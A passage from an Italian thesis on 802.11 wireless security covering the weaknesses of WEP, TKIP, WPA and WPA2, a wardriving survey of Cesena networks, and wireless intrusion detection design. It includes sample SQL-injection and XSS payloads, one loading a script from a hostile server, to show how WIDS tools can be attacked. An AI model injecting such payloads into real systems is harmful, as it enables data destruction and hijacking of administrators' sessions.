  • 24. 2.2 Intrusion Detection System 17 2.2.2 Controllo e prevenzione: IPS Nell’ideologia corrente spesso si tende ad eleggere implicitamente i software IPS (Intrusion Prevention System, denotati anche IDS in-line) come natu- rale evoluzione del concetto di Intrusion Detection. Se dal punto di vista puramente formale ci` ` condivisibile, in quanto mantiene inalterato il con- oe cetto di controllo riducendo la necessit` di interventi umani, questo modello a mina fortemente il criterio di availability discusso in sez. 1.1. Difatti un aggressore esperto, intuita l’esistenza di un IPS, potrebbe facilmente indurlo con falsi attacchi a provocare Denial-Of-Service su settori della rete da esso stesso protetta. Inoltre la sua adozione introduce un ulteriore singol point of failure, un collo di bottiglia determinato dalla necessit` di esaminare a tutto il traffico in real-time. Queste problematiche hanno diffuso una certa diffidenza e, di fatto, li- mitato la diffusione di applicativi IPS. Un’eccezione notevole ` il comparto e militare, i cui successivi studi hanno condotto a sistemi reattivi adibiti al con- trattacco dell’aggressore. Ufficialmente smentiti, hanno trovato nel Patriot Act [12] una legale autorizzazione. In conclusione una fugace riflessione sulle tecnologie descritte: al lettore accorto non dovrebbe essere sfuggito il presupposto implicito di staticit` a della rete; questa considerazione, unita all’ipotesi di delimitazione fisica del mezzo di trasmissione, costituisce la causa primaria dell’incapacit` degli a strumenti classici ad adattarsi e sopravvivere autonomanente in ambienti wireless. Approfondiremo in dettaglio l’argomento nel capitolo 4.
  • 25. 18 Soluzioni di rete tradizionali
  • 26. Capitolo 3 Tecnologie di protezione per reti wireless 802.11 Pochi standard commercialmente affermati hanno sostenuto evoluzioni tanto repentine e turbolente quanto quelle subite dalle tecnologie wireless 802.11. Il loro breve arco di vita ` costellato di molteplici e spesso radicali cambiamenti; e modalit` di trasmissione, frequenza e implementazione delle procedure di a sicurezza rappresentano gli esempi pi` ecclatanti. u Concentreremo su quest’ultima tematica l’intero capitolo, discutendo i va- ri standard adottati dalla commissione IEEE e dalla Wi-Fi Alliance nel corso degli anni. In particolare ne sottolineremo le vulnerabilit` e, laddove giusti- a ficabile, forniremo alcune attenuanti agli errori progettuali e implementativi commessi. 3.1 Wired Equivalent Privacy In tutta la storia dell’informatica pochi esempi sono emblematici di un’inge- gneria cos` sciatta e negligente come quella che descriveremo in sezione. ı
  • 27. 20 Tecnologie di protezione per reti wireless 802.11 Definito nel 1997, WEP (Wired Equivalent Privacy) nasce come parte integrante della specifica 802.11 con l’intenzione di garantire un livello di riservatezza paragonabile alla rete cablata. I suoi progettisti, presumibil- mente troppo preoccupati per l’uscita del primo Harry Potter [13], dovettero pensare che l’acronimo significasse piuttosto Why Ensure Protection? Questa critica, volutamente pesante, non ` gratuita. A memoria, nessun’altro e standard ` stato vittima di una quantit` di falle cos` gravi da essere sosti- e a ı tuito e deprecato dopo pochi anni dalla sua introduzione. Simili episodi non possono essere commentati come “casuali fatalit`”. Sperando costituiscano a almeno un monito e una lezione per il futuro, analizziamo le cause di questo rovinoso epilogo. Figura 3.1: Stadi crittografia WEP Il processo di crittografia WEP, illustrato in Figura 3.1, basa il proprio funzionamento su una chiave segreta precondivisa dai due attori in gioco e
  • 28. 3.1 Wired Equivalent Privacy 21 sull’algoritmo RC4, originariamente ideato da Ron Rivest nel 1987; RC4 ` il e pi` famoso e utilizzato stream cipher, un generatore di sequenze pseudoca- u suali di bits particolarmente adoperato nelle vecchie implementazioni SSL. Per perturbare l’algoritmo, ad evitare che generi sempre il medesimo stream, WEP impiega un vettore di inizializzazione (IV, Initialisation Vec- tor ) di 24 bits concatenato alla chiave segreta: variando il vettore nel tempo, in particolare ad ogni frame, cambia il flusso prodotto. A seguire uno XOR a due vie processa lo stream assieme al payload da trasmettere, a cui ` e stato preventivamente accodato un checksum CRC-32 adibito a garantirne l’integrit`. Il vettore IV ` infine allegato in chiaro al payload cifrato, per a e permettere al ricevente di decifrare i dati invertendo il procedimento. trasmettitore: T = IV {RC4(IV K) ⊕ [P CRC32(P )]} ricevitore: P =P CRC32(P ) = RC4(IV K) ⊕ (T − IV ) Non descriveremo dettagliatamente l’escalation di vulnerabilit`, esemplifica- a ta in Figura 3.2, che segu` all’introduzione di tale tecnologia; limitiamo le ı nostre critiche a poche mirate osservazioni. Consideriamo innanzitutto il vettore IV. Il dato, variato ad ogni frame, assicura 224 possibili perturbazioni dell’algoritmo RC4. Un valore all’appa- renza enorme ma decisamente piccolo se raffrontato al traffico di una rete WLAN, in cui ` mediamente saturabile in 6-12 ore; si noti inoltre come il e processo, basandosi su una chiave condivisa tra tutti gli utilizzatori, accelleri in maniera lineare all’aumentare del numero dei client. Un’accurata analisi condotta da Fluhrer, Mantin e Shamir nel 2001 [15] dimostr` come un even- o tuale aggressore, intercettando passivamente tramite sniffer la trasmissione e collezionando un numero opportuno di pacchetti, potesse correlare due pac- chetti cifrati con lo stesso IV e risalire alla chiave. Shamir attribu` la sgradita ı abilit` a RC4, affetto da forte low sampling resistance (definito da Biryukov, a Shamir e Wagner in [16]) cio` uno stretto legame tra alcune classi di input e e i corrispettivi pattern di output.
  • 29. 22 Tecnologie di protezione per reti wireless 802.11 Figura 3.2: Vulnerabilit` WEP [14] a Per limitare l’efficacia dell’attacco, inizialmente fu proposto di incremen- tare la chiave dagli originari 40 a 104 bits (WEP64 e WEP128, oltre a ver- sioni proprietarie WEP152 e WEP256). I problemi di interoperabilit` con a gli apparecchi gi` in commercio e la sostanziale inefficacia della soluzione a [17] hanno presto sconfessato tale pratica. Attualmente, difatti, la quantit` a di informazioni per eseguire un attacco e il tempo necessario ad ottenerle dipende piuttosto dalle capacit` dell’aggressore che dalla dimensione della a chiave WEP; studi recenti [18] evidenziano WEP128 decifrate in meno di sessanta secondi. La seconda principale preoccupazione riguarda l’integrit` del messaggio. a Il checksum CRC32 accodato al payload ` concepito per rilevare errori casuali e di comunicazione e non manomissioni intenzionali; ne deriva che alterazioni apportate sia ai dati che al corrispondente checksum non sono accertabili.
  • 30. 3.2 Temporal Key Integrity Protocol 23 Un aggressore esperto, anche sprovvisto della chiave, pu` dunque iniettare o traffico nella rete (packet injection) senza che il destinatario possa ricono- scerlo come tale. Questa manifesta violazione del concetto di integrity ` e assolutamente inaccettabile in quanto qualunque dato diviene potenzialmen- te inattendibile e perci` insicuro. Il protocollo WEP fallisce tutti i suoi o propositi. Sebbene tutti gli esperti concordino sulla sua inadeguatezza, WEP ` e tutt’oggi ancora largamente utilizzato. Tale affermazione sar` verificata a sperimentalmente nel caso di studio presentato in sez. 3.6. 3.2 Temporal Key Integrity Protocol Ben presto il livello di insicurezza WEP-based divenne inaccettabile per la comunit` IT; gli utilizzatori necessitavano rapidamente un successore che non a stravolgesse l’infrastruttura e, soprattutto, non obbligasse la sostituzione del- l’hardware preesistente. TKIP (Temporal Key Integrity Protocol ) nasce per soddisfare questi bisogni, un wrapper software del protocollo WEP adibito a correggerne le maggiori falle attraverso tre importanti innovazioni: un am- pliato vettore IV di 48 bits, il concetto di chiave temporanea e un nuovo controllo di integrit` (MIC). a Per risolvere gli inconvenienti derivanti dalle debolezze di RC4, Ron Ri- vest propose l’introduzione di un meccanismo di key mixing per garantire chiavi diverse ad ogni pacchetto. Il procedimento, per minimizzare il costo computazionale e permetterne l’implementazione sui prodotti gi` esistenti, a ` suddiviso in due fasi. Tramite una Sostitution Box (S-box, una tabella di e sostituzione non lineare), la prima fase combina la chiave segreta precondi- visa TK (Temporal Key, 128 bits), il MAC address della scheda locale e i 32 bits pi` significativi del vettore IV; la dipendenza dal MAC address locale u ha l’immediato apprezzabile vantaggio di produrre valori differenti per ogni
  • 31. 24 Tecnologie di protezione per reti wireless 802.11 client. Sfruttando i rimanenti 16 bits di IV la seconda fase assicura sino a 216 chiavi WEP: tuttavia, per maggiore sicurezza, TKIP forza il rinnovo della prima fase ogni 10000 pacchetti (≈ 213.3 ). I due segmenti del vettore IV, incrementati nelle rispettive fasi, operano come contatori (Counter Mode) e, raggiunto il valore limite, impongo- nono l’interruzione del traffico: una limitazione ininfluente, considerato che una rete 802.11g a 54Mbps satura uno spazio di 248 pacchetti in approssi- mativamente 500/600 anni. TKIP, inoltre, affronta le problematiche legate all’integrit` dell’informazione affidandosi a MIC (Message Integrity Check, a noto anche come Michael ), un algoritmo di hashing one-way per precalcolare un’impronta del messaggio da allegare ai dati in trasmissione: il ricevente, confrontando l’hash con quello computato localmente sui dati ricevuti, ne verifica la correttezza prevenendo attacchi basati su packet-injection. Con- statato un errore, TKIP impone il rinnovo della chiave generata nella prima fase, limitando tale procedura una volta al minuto. TKIP, in conclusione, adempie effettivamente alle promesse di rafforzare il protocollo WEP. Comparato a quest’ultimo ` per` decisamente pi` costoso e o u in termini di cicli di calcolo, tanto da degradare sensibilmente le prestazio- ni degli access point pi` economici; buon compromesso per il riutilizzo di u hardware legacy rappresenta comunque un ottimo esempio di ingegneria. 3.3 Wi-Fi Protected Access La Wi-Fi Alliance, spinta dalla crescente esigenza di sicurezza, rilasci` verso o la met` del 2003 una serie di raccomandazioni per un nuovo protocollo ba- a sato sulle proposte, allora ancora abbozzate, del futuro IEEE 802.11i. Oggi conosciuto come WPA (Wi-Fi Protected Access), ` sostanzialmente un’e- e stensione dell’architettura WEP realizzata tramite TKIP e MIC che offre, in aggiunta, funzionalit` di autenticazione e distribuzione delle chiavi; l’im- a plementazione di quest’ultimo fattore discrimina tra le due diverse modalit` a
  • 32. 3.3 Wi-Fi Protected Access 25 disponibili, personal ed enterprise. La versione personal, o consumer, opera mediante una chiave precondivisa (PSK, Pre-Shared Key) di 256 bits da cui, ad ogni nuova associazione, deriva una PMK (Pairwise Master Key) mediate la formula [19] PMK = PBKDF2(PSK, SSID, SSID.length, 4096, 256) PBKDF2 (Password-Based Key Derivation Function) genera una PMK da 256 bits iterando 4096 volte l’algoritmo sulla concatenazione della PSK, del SSID e della lunghezza di quest’ultimo. Questo procedimento, det- to di key strengthening, riduce notevolmente l’efficacia degli attacchi a dizionario. Figura 3.3: Gerarchia delle chiavi WPA/WPA2 Come delineato in Figura 3.3, dalla PMK discende una PTK (Pairwise Temporal Key) attraverso la quale ` ottenuta la chiave TK necessaria a TKIP. e Disgraziatamente la PTK ` scambiata nel secondo pacchetto dell’handshake e a quattro vie eseguito in fase di associazione e se intercettata diviene suscet- tibile ad attacchi a dizionario [19], assai pericolosi perch´ effettuabili anche e
  • 33. 26 Tecnologie di protezione per reti wireless 802.11 off-line. Oltretutto un aggressore pu` facilmente forzare la ri-associazione dei o clients. Uno dei meccanismi di protezione presente in WPA, difatti, prevede lo shutdown automatico della rete per un minuto se rileva almeno due pac- chetti al secondo cifrati con una chiave errata: oltre ad agevolare la cattura della PTK, ci` conduce ad attacchi DOS teoricamente permanenti. o Nell’intento di scoraggiare l’aggressore, l’unica reale soluzione risiede nel- l’adoperare password alfanumeriche molto lunghe (almeno 20 caratteri). Tut- tavia si osservi il sussistere di progetti di cracking [20] basati su Rainbow Tables [21], una tecnica per la ricerca di password in archivi di hash precal- colati, composte da oltre un milione di chiavi associate ad un migliaio dei SSID pi` comuni. Numerosi break-test dimostrano incrementi di velocit` u a nella ricerca della PSK nell’ordine di 104 . La modalit` enterprise, viceversa, presuppone una struttura RSN (Ro- a bust Security Network ), esplificata in Figura 3.4. Figura 3.4: Autenticazione tramite server RADIUS [22] In RSN il supplicant contatta l’authenticator per negoziare l’autentica- zione: la sicurezza della comunicazione ` assicurata dal framework EAP, in e una delle sue specifiche implementazioni. Prima di consentire l’accesso alla rete l’authenticator instrada le credenziali fornitegli verso un server RA- DIUS (Remote Authentication Dial In User Service), standard de-facto per l’authetication server. Terminata la verifica, il supplicant e il server condivi-
  • 34. 3.4 Wi-Fi Protected Access 2 27 dono una PMK (vd. Figura 3.3) e procedono nell’handshake di associazione descritto in precedenza. Sebbene la modalit` enterprise offra un grado di sicurezza molto elevato, a i costi e le complessit` legate all’utilizzo di un server RADIUS ne hanno a scoraggiato l’adozione tra le piccole e medie imprese e gli utenti domestici. Tuttavia, recentemente, si osserva la diffusione di soluzioni RADIUS user- friendly integrate negli access point, avvalendosi di protocolli EAP leggeri come TinyPEAP. 3.4 Wi-Fi Protected Access 2 Nel settembre del 2004, dopo alcuni anni di lavoro, ` stato finalmente rila- e sciato il nuovo standard di sicurezza IEEE 802.11i CCMP (Counter-Mode- CBC-MAC Protocol ) [23], prontamente ribattezzato dal mercato in WPA2. Pur essendo privo, al pari di TKIP, dei difetti riscontrati in WEP, CCMP ha il pregevole vantaggio di un’architettura completamente rinnovata e pie- namente aderente alle specifiche RSN. WPA2, anch’esso disponibile in formato personal ed enterprise, mantiene la retrocompatibilit` con i dispositivi WPA e prevede, inoltre, una modalit` a a di funzionamento mista per agevolarne la transizione. Abbandonato definitivamente RC4, CCMP si avvale dell’algoritmo AES (Advanced Encryption Standard ), noto anche come Rijndael dal nome dei suoi inventori, Joan Daemen e Vincent Rijmen. AES ` un sofisticato block- e cipher, un sistema di cifratura a gruppi prefissati di bits che, tramite una chiave, pone univocamente in relazione un blocco in input con un blocco di output. Per operare in ambienti wireless, limitando contemporaneamente i costi e il degrado di performance, l’implementazione 802.11i prevede l’impiego di chiavi ristrette a 128 bits unitamente alle tecniche di Counter Mode e di CBC-MAC (Cipher Block Chainging - Message Authentication Code), spesso
  • 35. 28 Tecnologie di protezione per reti wireless 802.11 denotate assieme come CCM. Analogalmente a TKIP, il Counter Mode ` basato su un vettore IV di e 48 bit incrementato sequenzialmente ad ogni pacchetto; CBC-MAC, vicever- sa, sostituisce sia MIC sia l’inadatto checksum CRC32 del protocollo WEP, rafforzando significativamente il controllo di integrit`. a CCMP ricorre al medesimo algoritmo di distribuzione delle chiavi adope- rato in WPA e presentato in Figura 3.3. Di conseguenza la variante personal ` e ugualmente vulnerabile ad attacchi a dizionario eseguiti off-line, sebbene me- no efficaci a causa della maggiore complessit` computazionale della cifratura a AES. Giovano pertanto le stesse raccomandazioni espresse in precedenza. CCMP, con la sua elegante e robusta struttura, ` attualmente considerato e sufficientemente robusto e sicuro per praticamente qualsiasi ambito, inclusi quelli governativi [24] [25] . Concludiamo riassumendo e confrontando in Tabella 3.1 gli standard di sicurezza per le reti wireless 802.11. WEP TKIP (WPA) CCMP Cifratura RC4 RC4 AES Chiave di cifratura 40 o 104 bits 128 bits 128 bits Dimensione IV 24 bits 48 bits 48 bits Gestione IV Non definita Counter Mode Counter Mode Integrit` header a No Michael CBC-MAC Integrit` dati a CRC32 Michael + CRC32 CBC-MAC Distribuzione chiavi No 802.1X (EAP) 802.1X (EAP) Tabella 3.1: Standard di sicurezza 802.11
  • 36. 3.5 Sviluppi futuri: 802.11w 29 3.5 Sviluppi futuri: 802.11w Tutti i precedenti protocolli forniscono, in maniera pi` o meno valida, un sup- u porto per la protezione del traffico dati. Tuttavia lo standard 802.11 definisce altre due tipologie di frame per la gestione e la coordinazione delle comunica- zioni, rispettivamente i management frame (autenticazioni, associazioni, ecc...) e i control frame (ACK e RTS/CTS, ad esempio). In particola- re i management frame, soprattutto con l’implementazione delle prossime estensioni 802.11r, 802.11k e 802.11v, trasportano informazioni sensibili e ti- picamente sono bersaglio di molti comuni attacchi DOS (vd. sez. 4.2.5); per risolvere queste problematiche la IEEE ha formalizzato un nuovo gruppo di lavoro, 802.11w, le cui specifiche sono attese per Marzo-Aprile 2008. Presumibilmente, 802.11w introdurr` tre diversi meccanismi di sicurezza a [26]. Il primo estender` l’utilizzo degli algoritmi TKIP/CCM anche ai ma- a nagement frame trasmessi in modalit` unicast, cio` tra un solo client e un a e access point, garantendone confidentiality e integrity. Il secondo, viceversa, sar` riservato ai frame broadcast ed usufruir` di un controllo d’integrit` MIC a a a per evitare iniezioni malevoli da parte di soggetti non associati alla rete. Un terzo procedimento, basato sull’uso di chiavi one-time, dovrebbe assicurare l’autenticit` dei messaggi di disassociazione e deautenticazione. In ogni caso, a il funzionamento di tali tecniche presuppone che il client e l’access point ab- biano gi` scambiato una PTK e, pertanto, 802.11w non eliminer` le tematiche a a relative all’intercettazione e al cracking delle password WPA/WPA2. Queste novit`, teoricamente, richiederanno solamente un aggiornamento a del firmware dei dispostivi.
  • 37. 30 Tecnologie di protezione per reti wireless 802.11 3.6 Caso di studio: WLAN citt` di Cesena a Analizzati gli standard di sicurezza offerti dal mercato, ` lecito e interessante e domandarsi quali di questi siano effettivamente utilizzati. Come caso di studio abbiamo investigato 240 reti WLAN della citt` di Cesena nell’area a attorno alle due sedi della Seconda Facolt` di Ingegneria dell’Universit` di a a Bologna. Gli strumenti adoperati per la rilevazione saranno descritti nel capitolo 5, mentre si rimanda all’Appendice B per le note legali. Il nostro lavoro, graficato in Figura 3.5, mostra una situazione diffusa- mente critica, sebbene attesa. Oltre il 42% delle reti esaminate (segnalate in rosso) risultano aperte, il 28% implementa soluzioni WEP (in giallo) mentre solo un 30% usufruisce delle tecnologie TKIP e CCMP (in verde); in parti- colare un’unica intranet impiega la crittografia AES-CCM. Recuperando le osservazioni espresse riguardo l’inefficacia del protocollo WEP possiamo tranquillamente sostenere che il 70% delle reti considerate sono intrinsicamente insicure. Tra i propriequeste troviamo anche banche, studi notarili e una caserma dei carabinieri. Si invita il lettore a riflettere sul significato di tali affermazioni.
  • 38. 3.6 Caso di studio: WLAN citt` di Cesena a 31 Figura 3.5: Stato delle reti WLAN nella citt` di Cesena a
  • 39. 32 Tecnologie di protezione per reti wireless 802.11
  • 40. Capitolo 4 Wireless IDS Abbiamo gi` notato che il protocollo CCMP, specialmente nella variante en- a terprise, ` pi` che idoneo a garantire sia le autenticazioni sia le comunicazioni e u dei clients. Ingenuamente potremmo ritenerlo sufficiente. Tuttavia l’utilizzo del mezzo radio, per sua stessa natura non confinabile entro precisi perimetri fisici, incrementa esponenzialmente le gi` vaste tecniche di attacco in direzio- a ni ortogonali a quelle risolte con l’adozione di un canale crittograficamente sicuro. In questa fase ` fondamentale ricordare che seppure consapevoli di non e potere assicurare il rispetto del paradigma C.I.A, a causa dell’assioma di sez. 1.3, aspiriamo a soluzioni migliori della mera constatazione di un’avvenuta in- trusione: necessitiamo di sistemi di rilevamento e monitoraggio simili agli IDS ma al contempo riprogettati in un’ottica orientata ad ambienti wireless. Per- tanto procediamo nello studio dei Wireless Intrusion Detection System analizzandone l’infrastruttura, le nuove problematiche e, infine, presentando Kismet come caso di studio.
  • 41. 34 Wireless IDS 4.1 Architettura Nel descrivere la tipica struttura dei WIDS potremmo ripercorrere l’espo- sizione di sez. 2.2, distinguendo tra configurazioni host e network based o tra controlli on-line e off-line. Un sistema wireless, per`, ` indiscutibilmente o e distribuito e oltremodo variabile nel tempo. In conseguenza un’impostazione host based o in ogni caso prettamente off-line ` inefficace nel confrontarsi con e le sfide proposte. Queste considerazioni hanno condotto, quasi unicamente, allo sviluppo di architetture basate sulla collaborazione tra sensori e uno o pi` server di analisi (vd. Figura 4.1). u Figura 4.1: Struttura Wireless IDS 4.1.1 Reti di sensori Un sensore WLAN `, sostanzialmente, uno sniffer idoneo a catturare frame e 802.11. In particolare ` necessaria una modalit` speciale chiamata moni- e a
  • 42. 4.1 Architettura 35 tor mode o RFMON (Radio Frequency Monitoring) che, diversamente da quella promiscua descritta in sez. 2.2, consente di osservare anche il traffico appartenente a reti a cui non si ` associati, includendo oltretutto gli header e e i frame di gestione del protocollo 802.11 [27]. Non tutte le schede di rete dispongono di driver con supporto RFMON: parte dell’hardware presenta so- luzioni pi` o meno sofisticate per Linux e, in modo minore, per BSD e MAC u OS X. Prodotti commerciali di terze parti forniscono un limitato ausilio anche per la piattaforma Windows. Suddividiamo concettualmente i sensori in tre macro categorie: integrati, passivi e attivi. I sensori integrati impiegano gli stessi access point adibiti al traffico da- ti, alternando al normale comportamento le funzioni di rilevamento. Questa scelta, sebbene abbatta totalmente i costi relativi all’acquisto di ulteriore hardware, esibisce due grandi svantaggi. In primo luogo, intervallare le due funzionalit` degrada le performance della rete e dunque il throughput di en- a trambe le operazioni. Assai pi` critico ` il secondo aspetto: unire un servizio u e con i propri meccanismi di controllo ` tipicamente una pessima decisione in e quanto introduce un grave “singol point of failure” in ambedue i sistemi; un attacco all’access point (il servizio) origina una rottura nelle politiche del sen- sore (il controllo) e viceversa. Pertanto, se non sussistono evidenti problemi di budget, tale opzione ` sconsigliabile. e I sensori passivi sono semplici ripetitori di segnale che reinstradano l’in- tero traffico direttamente al server WIDS. Sono un’alternativa decisamente economica e, difatti, sono largamente utilizzati quando la zona da monito- rare ` molto vasta ed il numero di dispositivi necessari ` elevato. Questa e e alternativa sposta il “singol point of failure” dai sensori al server WIDS che, sovraccaricato dall’enorme flusso dati, rischia rallentamenti e/o crolli. I sensori attivi, o intelligenti, sono in assoluto la soluzione tecnologi- camente pi` efficace ed evoluta, priva delle debolezze sopra elencate. Con- u trariamente ai precedenti, effettuano delle operazioni di scrematura sui dati
  • 43. 36 Wireless IDS in transito ed inviano al server unicamente il traffico sospetto. Il criterio di selezione dipende dalla particolare implementazione e, generalmente, condi- ziona fortemente la complessit` interna del dispositivo. Gli elevatissimi costi, a tuttavia, hanno relegato questi prodotti a mercati di nicchia in cui il numero di sensori ` limitato e, in ogni caso, la spesa ` un fattore secondario. e e Trascurando i sistemi integrati, l’aspetto cruciale che determina il suc- cesso o, viceversa, il fallimento di un WIDS ` l’ubicazione dei sensori. Il e suggerimento pi` comune, indubbiamente errato, ne prevede la collocazio- u ne esclusivamente nei pressi degli access point. Sebbene sia essenziale di- sporre di sensori in tali posizioni, in cui di norma si concentra il traffico, ` e comunque indispensabile controllare una superfice notevolmente pi` ampia u comprendendo le zone limitrofe all’area interessata come, ad esempio, i par- cheggi. Osserviamo, a dimostrazione di quanto detto, l’attacco Evil-Twin (lett. “gemello malvagio”) ritratto in Figura 4.2. Figura 4.2: Un attacco Evil-Twin
  • 44. 4.1 Architettura 37 Interferendo con un segnale pi` intenso, l’intruso induce un client ad u associarsi al proprio access point, preventivamente configurato con lo stesso SSID della rete in esame; ora la vittima, inconsapevolmente, trasmette i propri dati all’aggressore mentre il sensore ignora completamente l’accaduto: nel caso migliore ha constatato la disassociazione del client ma non pu` o rilevare n´ la presenza dell’intruso, magari distante e appostato in auto, n´ e e il suo access point e, pertanto, non avvisa del pericolo. Una verifica delle nostre considerazioni che attesta l’importanza di eseguire approfonditi rilievi sperimentali prima di definire la sistemazione dei sensori. I sensori, a qualunque famiglia appartengano, comunicano le informazioni acquisite ad uno o pi` server adibiti alle successive operazioni di controllo. u Il collegamento pu` essere stabilito tramite la rete cablata o per mezzo della o WLAN stessa: la rete cablata garantisce performance e sicurezza maggiori ma impone la disponibilit` di prese ethernet attigue ai sensori, vincolandone a di fatto le possibili dislocazioni; l’impiego della WLAN, viceversa, libera da limitazioni fisiche ma, oltre a degradare le prestazioni della rete, introduce nel sistema un ulteriore “singol point of failure” e si presta pi` facilmente ad u interferenze e denial of service. In ogni caso ` imprescindibile adoperarsi per e autenticare e cifrare tutte le trasmissioni utilizzando protocolli notoriamente “sicuri” quali SSL3/TLS. Inoltre ` opportuno impedire ai sensori di stabilire e connessioni in ingresso per evitare che potenziali malintenzionati tentino di corromperne la configurazione: in tale circostanza sono direttamente i sensori che, a polling, richiedono al server gli eventuali aggiornamenti. 4.1.2 Correlazione, analisi e notifica: il server WIDS Il server WIDS, o un corrispettivo cluster, definisce, di regola, una pipeline composta da tre stadi: correlazione, analisi e notifica. La correlazione costituisce la prima fase, indispensabile non solo per rag- gruppare i frame appartenenti alle medesime connessioni di livello superiore
  • 45. 38 Wireless IDS ma innanzitutto per relazionare le informazioni ricevute dai diversi sensori. Questo permette, ad esempio, di eliminare i duplicati e non notificare pi` u volte lo stesso problema. Inoltre, maggiormente rilevante, consente al server di acquisire una visione d’insieme, necessaria per riconoscere attacchi come il mac spoofing o l’iniezione di traffico che richiedono una conoscenza globale, e non puramente locale, dello stato della rete in esame. Durante l’analisi i dati dello strato precedente, generalmente memoriz- zati in appositi database, sono processati e sottoposti a svariati controlli atti a individuare e classificare per gradi di rischio gli eventuali attacchi; le solu- zioni pi` complete, inoltre, prevedono la possibilit` di connettere in cascata u a un IDS per esaminare i protocolli superiori. In modo simile a quanto de- scritto in sez. 2.2, distinguiamo tra WIDS misuse-based e anomaly-based: si noti, tuttavia, che i prodotti attualmente disponibili esibiscono funzionalit` a prettamente misuse-based con basse, o nulle, capacit` anomaly-based. Nel- a la sezione 4.2 approfondiremo in dettaglio diverse signatures comunemente utilizzate e proporremo alcuni spunti per nuovi algoritmi anomaly-based. Lo stadio di notifica ` preposto ad avvisare l’amministratore generando e un alert quando l’analisi riscontra un probabile attacco. Il componente di notifica non ` un passivo segnalatore di eventi ma, al contrario, ` preposto e e ad organizzare tempestivamente gli alert distribuendoli, in base alla loro priorit`, tra diversi mezzi di comunicazione quali SMS, e-mail, console e a simili interfacce di controllo. 4.1.3 Interfaccia Il modulo di interfaccia correda il sistema con uno strumento di gestione e supervisione abile a monitorare e modificare la configurazione del server WIDS e/o dei sensori: permette, essenzialmente, di integrare i vari elementi in una struttura uniforme e apparentemente centralizzata. Indubbiamente la popolarit` di un prodotto ` fortemente condizionata dall’esistenza di un’in- a e
  • 46. 4.1 Architettura 39 terfaccia efficiente e soprattutto intuitiva, pertanto ` compito del progettista e presentare le informazioni in modo chiaro e ordinato, suddividendole in classi concettuali. Gli alert, ad esempio, dovrebbero essere ordinati per gravit` e a tipologia e, inoltre, opportunamente riassunti per consentirne una pi` rapida u individuazione; in questo modo l’amministratore focalizza l’attenzione uni- camente sui dati significativi e, solo se necessario, visualizza ulteriori dettagli come il dump completo del traffico. Quasi tutte le attuali implementazioni, sia per praticit` e portabilit` sia per fenomeni di moda e tendenza, sfruttano a a le moderne tecnologie web unite a rigide politiche RBAC (vd. sez. 1.2). Figura 4.3: Architettura WIDS Osserviamo, in conclusione, che operiamo su dati provenienti da fonti potenzialmente ostili e perci` propense ad attacchi volti a compromettere il o funzionamento del WIDS stesso [28]. Ad esempio, sapendo che generalmen- te questi sistemi utilizzano un database di appoggio, un aggressore scaltro potrebbe plasmare un frame contenente il seguente codice SQL nel SSID, consapevole che i sensori lo intercetteranno:
  • 47. 40 Wireless IDS ’; drop table ...;-- Se l’anomalia non ` opportunamente gestita in fase di analisi, la query adibita e alla memorizzazione dell’alert non solo fallisce ma comporta la cancellazione dell’intero database; l’intruso ha ottenuto un eccellente quanto pericoloso caso di SQL-Injection. I prodotti provvisti di interfacce web, inoltre, sono propensi ad attacchi XSS (Cross-Site Scripting) sfruttabili con procedure simili a quella appena descritta. Un amministratore, esaminando il resoconto di un alert in cui ` stato incautamente incluso il seguente codice malevolo, e esegue con i propri diritti lo script preparato dall’aggressore, abilitandolo a praticamente qualsiasi operazione. "><script src="server_ostile/script_malevolo.js"></script> Intuitivamente la presenza di simili vulnerabilit`, tipiche di un’implemen- a tazione frettolosa e trascurata, sono la peggiore disgrazia per un software di sicurezza; questi, pertanto, dovrebbero essere progettati con la massima attenzione ai particolari e sottoposti a severe sessioni di testing prima di essere commercializzati. 4.2 Attacchi e contromisure Proseguiamo il nostro studio commentando le pi` note metodologie d’attacco u ai sistemi WLAN, delineandone parallelamente possibili contromisure non necessariamente adottate dai WIDS esistenti. 4.2.1 Sniffer e wardriving Abbiamo gi` brevemente discusso il termine sniffing in sez. 1.4. Un ambien- a te wireless, tuttavia, espande indefinitamente le potenzialit` di tale tecnica, a
  • 48. 4.2 Attacchi e contromisure 41 tanto da imporre una ritrattazione pi` approfondita e mirata. Ovviamente u ` lecito domandarsi quale motivo promuova tale scelta: il comune atteggia- e mento di ogni aggressore in procinto di attaccare una rete a lui sconosciuta ` senza dubbio la migliore giustificazione. Chiunque abbia un minimo di e esperienza, difatti, svolge una pi` o meno lunga fase di preparazione detta u information gathering in cui cerca di conoscere quanti pi` dettagli pos- u sibile sull’obiettivo; questa attivit` trascende sia dalle tecnologie (vd. social a engineering in sez. 1.4) sia dal settore informatico ed ` applicato in campo e militare, intelligence, marketing e molti altri. In realt`, introducendo i sensori e la modalit` RFMON, abbiamo gi` an- a a a ticipato il principale strumento a disposizione dei nostri avversari. Gli even- tuali aggressori monitoreranno tutti i canali definiti dallo standard 802.11 tramite un sensore, tipicamente equipaggiato con un’antenna esterna ad alto guadagno per garantire l’intercettazione dei dati anche da distanze considere- voli. Questo ` inequivocabilmente il principale svantaggio rispetto ai nostri e ostili rivali: non possiamo, in generale [29], localizzare un intruso fintanto che permane in una modalit` passiva come RFMON. Ovviamente se in un a determinato momento la nostra rete non genera traffico tale espediente ` e inutile pertanto la maggior parte degli aggressori privilegia tecniche di scan- sione attiva, anche perch´ i sistemi Windows non supportano nativamente la e modalit` monitor. a In ogni caso, negli anni, l’idea di identificare reti WLAN si ` sviluppata e come una vera e propria moda detta wardriving; tale fenomeno, non ri- chiendo n´ particolari competenze tecniche n´ hardware specifico (un PDA e e o un portatile), ` solitamente perpetrata per hobby, studio o per connetter- e si gratuitamente a banda larga alla rete Internet. I software comunemente utilizzati sono, principalmente, solo due e appartengono alle contrapposte categorie di scanner attivi e passivi, NetStumbler e Kismet. La mappa della rete riprodotta in Figura 3.5 ` un esempio di wardriving realizzato abbinando e a Kismet un’antenna GPS e le Google Maps API [30].
